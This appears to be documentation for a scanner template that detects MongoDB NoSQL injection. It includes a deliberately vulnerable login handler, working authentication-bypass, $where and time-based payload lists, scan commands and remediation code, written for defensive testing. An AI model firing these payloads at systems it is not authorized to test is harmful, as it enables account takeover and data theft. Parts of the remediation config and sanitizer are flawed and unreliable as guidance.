MongoDB Injection Deep Assessment: From NoSQL Injection to Data Exfiltration

┌─────────────────────────────────────────────────────────────────┐
│ NOSQL INJECTION ATTACK │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. Application builds query from user input │
│ → db.users.findOne({username: req.body.username}) │
│ ↓ │
│ 2. Attacker sends JSON object instead of string │
│ → {username: {"$ne": null}, password: {"$ne": null}} │
│ ↓ │
│ 3. Query becomes: │
│ → db.users.findOne({username: {$ne: null}, password: {$ne: null}}) │
│ ↓ │
│ 4. Query matches FIRST user in database (often admin!) │
│ ↓ │
│ 5. Authentication bypass! LOGGED IN AS ADMIN │
│ │
└─────────────────────────────────────────────────────────────────┘

// VULNERABLE: Directly using user input in MongoDB query
app.post('/login', async (req, res) => {
 const user = await db.collection('users').findOne({
 username: req.body.username, // Attacker can inject objects!
 password: req.body.password // Can be {"$ne": null}
 });
 
 if (user) {
 // Login successful!
 res.json({token: generateToken(user)});
 }
});

{
 "username": {"$ne": null},
 "password": {"$ne": null}
}

# What Nuclei CAN do:
id: nosql-injection-basic
requests:
 - method: POST
 path:
 - "{{BaseURL}}/api/login"
 body: |
 {"username": "admin", "password": {"$ne": "x"}}
 matchers:
 - type: status
 status:
 - 200

┌──────────────────────────────────────────────────────────────────┐
│ CERT-X-GEN DETECTION FLOW │
├──────────────────────────────────────────────────────────────────┤
│ │
│ Scanner ──────► Enumerate common endpoints │
│ │ (/api/login, /api/auth, /api/user, etc.) │
│ ▼ │
│ Scanner ──────► Test Payload Set #1: Authentication Bypass │
│ │ {'username': {'$ne': None}, 'password': {'$ne': None}} │
│ ▼ │
│ Scanner ──────► Analyze Response for Success Indicators │
│ │ (token, session, auth, welcome, dashboard) │
│ ▼ │
│ Scanner ──────► Test Payload Set #2: Operator Injection │
│ │ {'$where': '1==1'}, {'id': {'$ne': None}} │
│ ▼ │
│ Scanner ──────► Test Payload Set #3: Query Parameters │
│ │ /api/user?id[$ne]= , /api/search?q[$where]=1==1 │
│ ▼ │
│ Scanner ──────► Check Direct MongoDB Port Exposure │
│ │ (27017-27019) │
│ ▼ │
│ Analyze All Results ──► HIGH: Successful injection found │
│ └─► MEDIUM: Port exposed (no auth) │
│ └─► Not vulnerable │
│ │
└──────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│ INJECTION VECTORS │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ HTTP POST (JSON Body) │ │
│ │ {"username": {"$ne": null}, "password": {"$ne": null}} │ │
│ │ Most Common Attack Vector (60% of cases) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Query Parameters │ │
│ │ GET /api/user?id[$ne]=null │ │
│ │ Effective for search/filter endpoints (30% of cases) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Direct MongoDB Port (27017) │ │
│ │ Unauthenticated Access to Database │ │
│ │ Critical exposure (10% of cases) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘

def test_http_nosql_injection(host, port, timeout=5):
 """
 Test for NoSQL injection in HTTP interfaces (REST APIs, web apps).
 Returns: list of vulnerabilities found
 """
 vulnerabilities = []
 
 # NoSQL injection payloads
 injection_payloads = [
 # Authentication bypass payloads
 {'username': {'$ne': None}, 'password': {'$ne': None}},
 {'username': {'$ne': ''}, 'password': {'$ne': ''}},
 {'username': {'$gt': ''}, 'password': {'$gt': ''}},
 {'username': 'admin', 'password': {'$regex': '.*'}},
 
 # JavaScript injection (if $where is enabled)
 {'$where': '1==1'},
 {'$where': 'this.password.length > 0'},
 ]
 
 for endpoint in test_endpoints:
 test_url = f"{base_url}{endpoint}"
 
 for payload in injection_payloads:
 # Send JSON POST request
 json_payload = json.dumps(payload)
 req = Request(test_url, data=json_payload.encode('utf-8'), method='POST')
 req.add_header('Content-Type', 'application/json')
 
 with urlopen(req, timeout=timeout, context=ctx) as response:
 status_code = response.getcode()
 response_data = response.read().decode('utf-8', errors='ignore')
 
 # SEMANTIC ANALYSIS - not just HTTP 200!
 success_indicators = [
 'token', 'session', 'logged', 'auth',
 'welcome', 'dashboard', 'success'
 ]
 
 if status_code in [200, 301, 302]:
 if any(indicator in response_data.lower() for indicator in success_indicators):
 # CONFIRMED VULNERABILITY!
 vuln = {
 'type': 'HTTP NoSQL Injection',
 'endpoint': endpoint,
 'payload': payload,
 'status_code': status_code,
 'response_sample': response_data[:300]
 }
 vulnerabilities.append(vuln)

def test_query_parameter_injection(host, port, timeout=5):
 """
 Test for NoSQL injection in URL query parameters.
 Many developers forget to sanitize GET parameters!
 """
 test_patterns = [
 '/api/user?id[$ne]=',
 '/api/users?username[$regex]=^admin',
 '/api/search?q[$where]=1==1',
 '/api/find?filter[$gt]=',
 '/user?id[$ne]=null',
 ]
 
 for pattern in test_patterns:
 test_url = f"{base_url}{pattern}"
 
 with urlopen(req, timeout=timeout, context=ctx) as response:
 # Check if query returned data it shouldn't
 if status_code == 200 and len(response_data) > 10:
 try:
 json_response = json.loads(response_data)
 if isinstance(json_response, (list, dict)) and json_response:
 # Successful data extraction!
 vuln = {
 'type': 'Query Parameter NoSQL Injection',
 'url': test_url,
 'status_code': status_code
 }
 vulnerabilities.append(vuln)

# Scan a target for MongoDB NoSQL injection
cxg scan --scope api.example.com --template mongodb-injection-deep.py

# Scan with extended timeout (recommended for thorough testing)
cxg scan --scope api.example.com --template mongodb-injection-deep.py --timeout 90s

# Test specific port
cxg scan --scope db.example.com --ports 27017 --template mongodb-injection-deep.py

# JSON output for automation
cxg scan --scope api.example.com --template mongodb-injection-deep.py --output-format json

# Verbose output to see all tested endpoints
cxg scan --scope api.example.com --template mongodb-injection-deep.py -vv

# Create targets file
cat > targets.txt << EOF
api1.example.com:443
api2.example.com:8443
db.example.com:27017
EOF

# Scan all targets
cxg scan --scope targets.txt --template mongodb-injection-deep.py --timeout 90s

{
 "findings": [{
 "template_id": "mongodb-injection-deep",
 "severity": "high",
 "title": "MongoDB NoSQL Injection Vulnerability",
 "description": "MongoDB NoSQL injection vulnerabilities detected on api.example.com:443. Found 2 HTTP endpoint injection vulnerabilities.",
 "evidence": {
 "host": "api.example.com",
 "port": 443,
 "http_injections": [{
 "type": "HTTP NoSQL Injection",
 "endpoint": "/api/login",
 "method": "POST",
 "payload": {"username": {"$ne": null}, "password": {"$ne": null}},
 "status_code": 200,
 "response_sample": "{\"token\":\"eyJ...\",\"user\":\"admin\"}"
 }]
 }
 }]
}

{
 "findings": [{
 "template_id": "mongodb-injection-deep",
 "severity": "medium",
 "title": "MongoDB NoSQL Injection Vulnerability",
 "description": "Direct MongoDB port is exposed without apparent authentication.",
 "evidence": {
 "host": "db.example.com",
 "port": 27017,
 "direct_access_exposed": true
 }
 }]
}

// SECURE: Input validation and type checking
const Joi = require('joi');
const mongoose = require('mongoose');

app.post('/login', async (req, res) => {
 // 1. Validate input types
 const schema = Joi.object({
 username: Joi.string().alphanum().min(3).max(30).required(),
 password: Joi.string().min(8).required()
 });
 
 const { error, value } = schema.validate(req.body);
 if (error) {
 return res.status(400).json({ error: 'Invalid input' });
 }
 
 // 2. Use parameterized queries (Mongoose automatically handles this)
 const user = await User.findOne({
 username: value.username, // Type-safe string
 password: hashPassword(value.password)
 });
 
 if (!user) {
 return res.status(401).json({ error: 'Authentication failed' });
 }
 
 res.json({ token: generateToken(user) });
});

# SECURE: Sanitize inputs and use parameterized queries
from flask import Flask, request, jsonify
from pymongo import MongoClient
import re

app = Flask(__name__)
db = MongoClient('mongodb://localhost:27017/').mydb

def sanitize_input(value):
 """Ensure input is a string, not an object."""
 if not isinstance(value, str):
 raise ValueError("Invalid input type")
 
 # Remove any MongoDB operators
 if value.startswith('$'):
 raise ValueError("MongoDB operators not allowed")
 
 return value

@app.route('/login', methods=['POST'])
def login():
 try:
 # 1. Validate input types
 username = sanitize_input(request.json.get('username'))
 password = sanitize_input(request.json.get('password'))
 
 # 2. Use find_one with sanitized strings
 user = db.users.find_one({
 'username': username, # Guaranteed to be string
 'password': hash_password(password)
 })
 
 if user:
 return jsonify({'token': generate_token(user)})
 else:
 return jsonify({'error': 'Invalid credentials'}), 401
 
 except ValueError as e:
 return jsonify({'error': str(e)}), 400

// mongod.conf - Secure MongoDB Configuration

// 1. Enable authentication
security:
 authorization: enabled

// 2. Bind to localhost only (or specific IPs)
net:
 bindIp: 127.0.0.1
 port: 27017

// 3. Enable access control
setParameter:
 enableLocalhostAuthBypass: false

// 4. Disable server-side JavaScript (prevents $where injection)
security:
 javascriptEnabled: false

// 5. Enable audit logging
auditLog:
 destination: file
 format: JSON
 path: /var/log/mongodb/audit.json

# Add application-specific endpoints to test
custom_endpoints = [
 '/api/v2/authenticate',
 '/auth/signin',
 '/graphql', # GraphQL endpoints are often vulnerable!
 '/admin/login',
]

# Extend the default endpoint list
test_endpoints.extend(custom_endpoints)

# Add organization-specific injection patterns
advanced_payloads = [
 # Time-based blind injection
 {'$where': 'sleep(5000)'},
 
 # Boolean-based blind injection
 {'username': {'$regex': '^a'}, 'password': {'$ne': None}},
 
 # Exfiltration via error messages
 {'username': {'$nin': []}, 'password': 'test'},
]

injection_payloads.extend(advanced_payloads)

# .github/workflows/security-scan.yml
name: MongoDB Security Scan

on:
 schedule:
 - cron: '0 2 * * *' # Run daily at 2 AM
 push:
 branches: [staging, production]

jobs:
 nosql-injection-scan:
 runs-on: ubuntu-latest
 steps:
 - uses: actions/checkout@v3
 
 - name: Install CERT-X-GEN
 run: |
 cargo install cert-x-gen
 
 - name: Run MongoDB Injection Scan
 run: |
 cxg scan \
 --scope ${{ secrets.API_URL }} \
 --template mongodb-injection-deep.py \
 --output-format json \
 --timeout 90s \
 > scan-results.json
 
 - name: Check for Critical Findings
 run: |
 HIGH_COUNT=$(jq '[.findings[] | select(.severity=="high")] | length' scan-results.json)
 if [ "$HIGH_COUNT" -gt 0 ]; then
 echo " Found $HIGH_COUNT high-severity NoSQL injection vulnerabilities!"
 exit 1
 fi
 
 - name: Upload Results
 uses: actions/upload-artifact@v3
 with:
 name: nosql-scan-results
 path: scan-results.json

# Generate executive summary from scan results
import json
from datetime import datetime

with open('scan-results.json') as f:
 results = json.load(f)

findings = results.get('findings', [])
high_severity = [f for f in findings if f.get('severity') == 'high']
medium_severity = [f for f in findings if f.get('severity') == 'medium']

print(f"""
MongoDB NoSQL Injection Scan Report
Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}

Summary:
- Total Findings: {len(findings)}
- High Severity: {len(high_severity)}
- Medium Severity: {len(medium_severity)}

{f' URGENT: {len(high_severity)} high-severity vulnerabilities require immediate attention!' if high_severity else ' No high-severity vulnerabilities detected'}

Remediation Priority:
1. {"Fix HTTP injection vulnerabilities" if high_severity else "Address exposed MongoDB ports"}
2. Enable MongoDB authentication
3. Implement input validation
4. Review firewall rules
""")